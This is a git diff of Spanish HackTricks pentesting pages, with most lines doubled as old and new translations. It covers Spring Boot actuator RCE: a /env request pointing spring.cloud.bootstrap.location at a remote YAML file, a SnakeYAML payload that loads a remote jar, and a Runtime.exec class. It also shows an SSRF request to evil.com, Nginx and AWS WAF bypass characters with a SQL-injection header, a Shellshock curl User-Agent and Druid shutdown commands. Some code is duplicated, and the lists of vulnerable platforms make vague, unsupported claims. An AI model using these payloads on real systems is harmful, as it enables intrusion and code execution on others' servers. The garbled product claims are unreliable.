El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo carga, la aplicación creará una nueva conexión de base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente contra Mysql y funciona perfectamente.
|
||||
El truco que podemos usar aquí es aumentar el número de conexiones simultáneas a la base de datos. Entonces, podemos cambiar la cadena de conexión JDBC, aumentar el número de conexiones y después enviar muchas solicitudes a la aplicación para simular una carga pesada. Bajo carga, la aplicación creará una nueva conexión de base de datos con la cadena JDBC maliciosa actualizada. Probé esta técnica localmente con Mysql y funciona de maravilla.
|
||||
|
||||
|
||||
|
||||
Además de eso, hay otras propiedades que parecen interesantes, pero en la práctica no son realmente útiles:
|
||||
|
||||
**spring.datasource.url** - cadena de conexión de la base de datos (solo se usa para la primera conexión)
|
||||
**spring.datasource.url** - cadena de conexión de la base de datos (solo se utiliza para la primera conexión)
|
||||
|
||||
**spring.datasource.jndiName** - cadena JNDI de la base de datos (solo se usa para la primera conexión)
|
||||
**spring.datasource.jndiName** - cadena JNDI de la base de datos (solo se utiliza para la primera conexión)
|
||||
|
||||
**spring.datasource.tomcat.dataSourceJNDI** - cadena JNDI de la base de datos (no se usa en absoluto)
|
||||
**spring.datasource.tomcat.dataSourceJNDI** - cadena JNDI de la base de datos (no se utiliza en absoluto)
|
||||
|
||||
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - URL de configuración en la nube de Spring (no tiene ningún efecto después del inicio de la aplicación, solo se usan los valores iniciales).
|
||||
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - URL de configuración de Spring Cloud (no tiene ningún efecto después de iniciar la aplicación, solo se utilizan los valores iniciales).
|
||||
|
||||
Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todo el ApplicationContext, pero está deshabilitado de forma predeterminada.
|
||||
Estas propiedades no tienen ningún efecto a menos que se llame al punto final '/restart'. Este punto final reinicia todo el ApplicationContext, pero está desactivado de forma predeterminada.
|
||||
|
||||
Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen efecto inmediato después del cambio.
|
||||
Hay muchas otras propiedades interesantes, pero la mayoría de ellas no tienen un efecto inmediato después del cambio.
|
||||
|
||||
**N.B.** En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (usa formato json en su lugar), pero la idea es la misma.
|
||||
**N.B.** En Spring Boot 2x, el formato de solicitud para modificar propiedades a través del punto final '/env' es ligeramente diferente (utiliza formato json en su lugar), pero la idea es la misma.
|
||||
|
||||
**Un ejemplo de la aplicación vulnerable:**
|
||||
|
||||
Si quieres probar esta vulnerabilidad localmente, creé una [aplicación Spring Boot simple en mi página de Github](https://github.com/artsploit/actuator-testbed). Todos los payloads deberían funcionar allí, excepto la configuración de la base de datos (a menos que la configures).
|
||||
Si quieres probar esta vulnerabilidad localmente, creé una [aplicación simple de Spring Boot en mi página de Github](https://github.com/artsploit/actuator-testbed). Todos los payloads deberían funcionar allí, excepto la configuración de la base de datos (a menos que la configures).
|
||||
|
||||
**Descubrimiento de caja negra:**
|
||||
|
||||
Una lista completa de actuators predeterminados se puede encontrar aquí: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.
|
||||
Una lista completa de actuadores predeterminados se puede encontrar aquí: [https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). Ten en cuenta que los desarrolladores de aplicaciones pueden crear sus propios puntos finales utilizando la anotación @Endpoint.
|
||||
|
||||
**Actualización de mayo de 2019:**
|
||||
|
||||
Hay una forma más confiable de lograr RCE a través de una modificación de propiedades ambientales de Spring:
|
||||
Hay una forma más confiable de lograr RCE a través de una modificación de las propiedades ambientales de Spring.
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 59
|
||||
|
||||
|
||||
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
|
||||
```
|
||||
Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', la cual es utilizada para cargar configuraciones externas y parsearlas en formato YAML. Para que esto suceda, también necesitamos llamar al endpoint '/refresh'.
|
||||
Esta solicitud modifica la propiedad 'spring.cloud.bootstrap.location', que se utiliza para cargar la configuración externa y analizarla en formato YAML. Para que esto ocurra, también necesitamos llamar al punto final '/refresh'.
|
||||
```
|
||||
POST /refresh HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 0
|
||||
```
|
||||
Cuando se obtiene la configuración YAML desde el servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. La carga útil (yaml-payload.yml) puede generarse utilizando la investigación Marshalsec mencionada anteriormente:
|
||||
Cuando la configuración YAML se obtiene del servidor remoto, se analiza con la biblioteca SnakeYAML, que también es susceptible a ataques de deserialización. La carga útil (yaml-payload.yml) puede generarse utilizando la investigación mencionada anteriormente de Marshalsec:
|
||||
```
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
|
||||
]]
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
La deserialización de este archivo provoca la ejecución del constructor de ScriptEngineManager con el URLClassLoader suministrado. En pocas palabras, esto lleva al método 'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)', que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de URLClassLoader, podemos servir una nueva 'ScriptEngineFactory' con el bytecode malicioso dentro. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) debe contener el bytecode real, con la carga maliciosa en el constructor.
|
||||
La deserialización de este archivo desencadena la ejecución del constructor de ScriptEngineManager con el URLClassLoader suministrado. En pocas palabras, esto lleva al método 'java.util.ServiceLoader#load(java.lang.Class\<S>, java.lang.ClassLoader)', que intenta encontrar todas las implementaciones de la interfaz 'ScriptEngineFactory' dentro de todas las bibliotecas en el classpath. Dado que podemos agregar una nueva biblioteca a través de URLClassLoader, podemos servir una nueva 'ScriptEngineFactory' con el bytecode malicioso en su interior. Para hacerlo, necesitamos crear un archivo jar con los siguientes archivos obligatorios: [yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class](https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java) debe contener el bytecode real, con la carga maliciosa en el constructor.
|
||||
```
|
||||
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
|
||||
|
||||
public AwesomeScriptEngineFactory() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
|
||||
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public AwesomeScriptEngineFactory() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
|
||||
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
El archivo [yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) debería ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que ServiceLoader sepa dónde encontrar la clase: **artsploit.AwesomeScriptEngineFactory**. Nuevamente, esta técnica de explotación requiere que Spring Cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puede encontrar el payload completo en mi proyecto de github: [yaml-payload](https://github.com/artsploit/yaml-payload).
|
||||
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) debería ser solo un archivo de texto que contenga una referencia completa a 'artsploit.AwesomeScriptEngineFactory', para que el ServiceLoader sepa dónde encontrar la clase: **artsploit.AwesomeScriptEngineFactory**. Nuevamente, esta técnica de explotación requiere que Spring Cloud esté en el classpath, pero en comparación con el payload de XStream de Eureka, funciona incluso en la última versión. Puedes encontrar el payload completo en mi proyecto de GitHub: [yaml-payload](https://github.com/artsploit/yaml-payload).
|
||||
|
||||
## Env + H2 RCE
|
||||
|
||||
Consulte esta página para encontrar cómo explotar la combinación /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
|
||||
Consulta esta página para aprender cómo explotar la combinación /env + H2: [https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
|
||||
|
||||
## SSRF en Spring Boot a través de una interpretación incorrecta de la ruta <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
[**A partir de esta investigación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation): El framework Spring acepta el carácter separador de parámetros de matriz `;` antes de la primera barra diagonal de la ruta HTTP:
|
||||
```http
|
||||
GET ;1337/api/v1/me HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
En un escenario como el siguiente:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (717).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Teniendo en cuenta que Spring permite cualquier carácter después del separador de parámetros de matriz, es posible utilizar el carácter `@` para obtener un punto final arbitrario también.
|
||||
|
||||
A continuación se muestra un ejemplo de la solicitud de explotación:
|
||||
```http
|
||||
GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
## Más información
|
||||
|
||||
* [https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html](https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html)
|
||||
* [https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators](https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators)
|
||||
* [https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep](https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep)
|
||||
* [https://tutorialboy24.blogspot.com/2022/02/introduccion-a-spring-boot-relacionado.html](https://tutorialboy24.blogspot.com/2022/02/introduccion-a-spring-boot-relacionado.html)
|
||||
* [https://blog.maass.xyz/seguridad-de-spring-actuator-parte-1-robo-de-secretos-usando-spring-actuators](https://blog.maass.xyz/seguridad-de-spring-actuator-parte-1-robo-de-secretos-usando-spring-actuators)
|
||||
* [https://blog.maass.xyz/seguridad-de-spring-actuator-parte-2-encontrar-actuators-usando-analisis-de-codigo-estatico-con-semgrep](https://blog.maass.xyz/seguridad-de-spring-actuator-parte-2-encontrar-actuators-usando-analisis-de-codigo-estatico-con-semgrep)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -0,0 +1,122 @@
|
|||
# Bypass de Protecciones de Proxy / WAF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Bypass de Reglas de ACL de Nginx <a href="#heading-bypassing-nginx-acl-rules-with-nodejs" id="heading-bypassing-nginx-acl-rules-with-nodejs"></a>
|
||||
|
||||
Ejemplo de restricción de Nginx:
|
||||
```plaintext
|
||||
location = /admin {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
### NodeJS
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (713).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* Como Nginx incluye el carácter `\xa0` como parte de la ruta, la regla ACL para la URI `/admin` no se activará. En consecuencia, Nginx enviará el mensaje HTTP al backend;
|
||||
* Cuando el servidor Node.js recibe la URI `/admin\x0a`, el carácter `\xa0` se eliminará, lo que permitirá recuperar con éxito el punto final `/admin`.
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Node.js** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||||
|
||||
### Flask
|
||||
|
||||
Flask elimina los caracteres `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` y `\x09` de la ruta URL, pero NGINX no lo hace.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (714).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Flask** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||||
|
||||
### Spring Boot <a href="#heading-bypassing-nginx-acl-rules-with-spring-boot" id="heading-bypassing-nginx-acl-rules-with-spring-boot"></a>
|
||||
|
||||
A continuación, se muestra una demostración de cómo se puede eludir la protección ACL agregando el carácter `\x09` o al final de la ruta:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (715).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
| Versión de Nginx | **Caracteres de Bypass de Spring Boot** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
| 1.20.2 | `\x09`, `;` |
|
||||
| 1.18.0 | `\x09`, `;` |
|
||||
| 1.16.1 | `\x09`, `;` |
|
||||
|
||||
### PHP-FPM <a href="#heading-bypassing-nginx-acl-rules-with-php-fpm-integration" id="heading-bypassing-nginx-acl-rules-with-php-fpm-integration"></a>
|
||||
|
||||
Consideremos la siguiente configuración de Nginx FPM:
|
||||
```plaintext
|
||||
location = /admin.php {
|
||||
deny all;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Es posible evadirlo accediendo a `/admin.php/index.php`:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (716).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Cómo prevenirlo <a href="#heading-how-to-prevent" id="heading-how-to-prevent"></a>
|
||||
|
||||
Para prevenir estos problemas, debes usar la expresión `~` en lugar de la expresión `=` en las reglas de ACL de Nginx, por ejemplo:
|
||||
|
||||
COPYCOPY
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Bypassando AWS WAF ACL con Line Folding <a href="#heading-bypassing-aws-waf-acl-with-line-folding" id="heading-bypassing-aws-waf-acl-with-line-folding"></a>
|
||||
|
||||
Es posible evadir la protección de AWS WAF en un encabezado HTTP utilizando la siguiente sintaxis, donde AWS WAF no entenderá que el encabezado X-Query contiene una carga útil de inyección SQL mientras que el servidor nodo detrás sí lo hará:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
X-Query: Value\r\n
|
||||
\t' or '1'='1' -- \r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
@ -155,7 +155,7 @@ Lista corta de rutas CGI para probar:
|
|||
|
||||
[Gist que contiene las rutas](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
|
||||
|
||||
**SSRF Canary: Shellshock a través del User Agent**
|
||||
**SSRF Canary: Shellshock a través del Agente de Usuario**
|
||||
```bash
|
||||
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
||||
```
|
||||
|
|
@ -178,6 +178,12 @@ Tareas de apagado, requiere adivinar IDs de tareas o el nombre del origen de dat
|
|||
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
|
||||
```
|
||||
Apagar supervisores en Apache Druid Overlords:
|
||||
|
||||
```bash
|
||||
curl -X POST http://localhost:8090/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
||||
```
|
||||
|
||||
Este comando se utiliza para apagar un supervisor específico en Apache Druid Overlords. Debes reemplazar `{supervisorId}` con el ID del supervisor que deseas apagar.
|
||||
```bash
|
||||
/druid/indexer/v1/supervisor/terminateAll
|
||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
||||
|
|
@ -258,37 +264,24 @@ A continuación se presenta una lista de plataformas que son conocidas por ser v
|
|||
|
||||
## Plataformas de nube/SaaS
|
||||
|
||||
- **Workspace**: Una plataforma de colaboración en línea que permite a los usuarios compartir y editar documentos en tiempo real. Es conocida por ser vulnerable a SSRF en su función de carga de archivos.
|
||||
- **Workspace**: Una plataforma de colaboración en línea que permite a los usuarios compartir y editar documentos en tiempo real. Es conocida por ser vulnerable a SSRF en ciertos escenarios.
|
||||
- **AWS (Amazon Web Services)**: Un conjunto de servicios en la nube ofrecidos por Amazon. Algunos de los servicios de AWS han sido identificados como vulnerables a SSRF.
|
||||
- **GCP (Google Cloud Platform)**: Una plataforma de computación en la nube ofrecida por Google. Algunos servicios de GCP también han sido identificados como vulnerables a SSRF.
|
||||
- **Azure**: La plataforma de computación en la nube de Microsoft. Al igual que AWS y GCP, algunos servicios de Azure pueden ser vulnerables a SSRF.
|
||||
|
||||
- **AWS (Amazon Web Services)**: Un conjunto de servicios en la nube que ofrecen almacenamiento, cómputo y otras funcionalidades. AWS ha tenido varios casos de vulnerabilidades de SSRF en servicios como EC2, S3 y RDS.
|
||||
## Plataformas de desarrollo web
|
||||
|
||||
- **GCP (Google Cloud Platform)**: Una plataforma de servicios en la nube proporcionada por Google. GCP ha tenido casos de vulnerabilidades de SSRF en servicios como Compute Engine y Cloud Functions.
|
||||
- **Ruby on Rails**: Un framework de desarrollo web popular que utiliza el lenguaje de programación Ruby. Las aplicaciones desarrolladas con Ruby on Rails pueden ser vulnerables a SSRF en ciertos casos.
|
||||
- **Django**: Un framework de desarrollo web de Python. Al igual que Ruby on Rails, las aplicaciones desarrolladas con Django pueden ser vulnerables a SSRF en ciertos escenarios.
|
||||
- **Express.js**: Un framework de desarrollo web de Node.js. Las aplicaciones desarrolladas con Express.js también pueden ser vulnerables a SSRF en ciertos casos.
|
||||
|
||||
- **Azure**: La plataforma de servicios en la nube de Microsoft. Azure ha tenido casos de vulnerabilidades de SSRF en servicios como Virtual Machines y Blob Storage.
|
||||
## Plataformas de gestión de contenido
|
||||
|
||||
## Plataformas de correo electrónico
|
||||
- **WordPress**: Un sistema de gestión de contenido popular utilizado para crear sitios web y blogs. Las instalaciones de WordPress pueden ser vulnerables a SSRF en ciertos escenarios.
|
||||
- **Joomla**: Otro sistema de gestión de contenido ampliamente utilizado. Al igual que WordPress, las instalaciones de Joomla pueden ser vulnerables a SSRF en ciertos casos.
|
||||
- **Drupal**: Un sistema de gestión de contenido de código abierto. Algunas versiones de Drupal han sido identificadas como vulnerables a SSRF.
|
||||
|
||||
- **Exchange**: Un servidor de correo electrónico desarrollado por Microsoft. Exchange ha tenido casos de vulnerabilidades de SSRF en su función de redirección de URL.
|
||||
|
||||
- **Postfix**: Un servidor de correo electrónico de código abierto. Postfix ha tenido casos de vulnerabilidades de SSRF en su función de redirección de URL.
|
||||
|
||||
## Plataformas de bases de datos
|
||||
|
||||
- **MySQL**: Un sistema de gestión de bases de datos relacional de código abierto. MySQL ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.
|
||||
|
||||
- **PostgreSQL**: Un sistema de gestión de bases de datos relacional de código abierto. PostgreSQL ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.
|
||||
|
||||
- **MongoDB**: Una base de datos NoSQL de código abierto. MongoDB ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.
|
||||
|
||||
## Plataformas de almacenamiento en la nube
|
||||
|
||||
- **S3 (Amazon Simple Storage Service)**: Un servicio de almacenamiento en la nube proporcionado por AWS. S3 ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.
|
||||
|
||||
- **Google Cloud Storage**: Un servicio de almacenamiento en la nube proporcionado por GCP. Google Cloud Storage ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.
|
||||
|
||||
- **Azure Blob Storage**: Un servicio de almacenamiento en la nube proporcionado por Azure. Azure Blob Storage ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.
|
||||
|
||||
Estas plataformas son solo algunos ejemplos de sistemas que han sido vulnerables a SSRF en el pasado. Es importante tener en cuenta que las vulnerabilidades pueden ser corregidas y las plataformas pueden actualizarse para mitigar los riesgos de SSRF.
|
||||
Recuerda que estas plataformas son solo ejemplos y que existen muchas otras que también pueden ser vulnerables a SSRF. Es importante realizar pruebas de seguridad adecuadas y obtener permiso antes de realizar cualquier actividad de pentesting.
|
||||
```http
|
||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
||||
Host: website.com
|
||||
|
|
@ -399,15 +392,15 @@ Sigue las instrucciones aquí para lograr RCE a través de GET: [Hacking Jenkins
|
|||
```
|
||||
**RCE a través de Groovy**
|
||||
|
||||
En algunos casos, es posible lograr la ejecución remota de código (RCE) utilizando el lenguaje de programación Groovy. Groovy es un lenguaje de programación dinámico que se ejecuta en la máquina virtual de Java (JVM) y se utiliza comúnmente en aplicaciones basadas en Java.
|
||||
La ejecución remota de código (RCE) a través de Groovy es una técnica comúnmente utilizada en ataques de servidor-side request forgery (SSRF). Groovy es un lenguaje de programación dinámico que se ejecuta en la máquina virtual de Java (JVM) y se utiliza principalmente para la automatización de tareas en aplicaciones Java.
|
||||
|
||||
La vulnerabilidad de RCE a través de Groovy generalmente ocurre cuando una aplicación permite a los usuarios cargar y ejecutar scripts Groovy de forma dinámica. Esto puede suceder cuando una aplicación utiliza la biblioteca GroovyShell para evaluar y ejecutar scripts Groovy.
|
||||
En un escenario de SSRF, un atacante puede aprovechar una vulnerabilidad en una aplicación web para enviar solicitudes HTTP desde el servidor hacia otros recursos internos o externos. Si la aplicación utiliza Groovy para evaluar o ejecutar el contenido de una URL proporcionada por el atacante, esto puede conducir a una RCE.
|
||||
|
||||
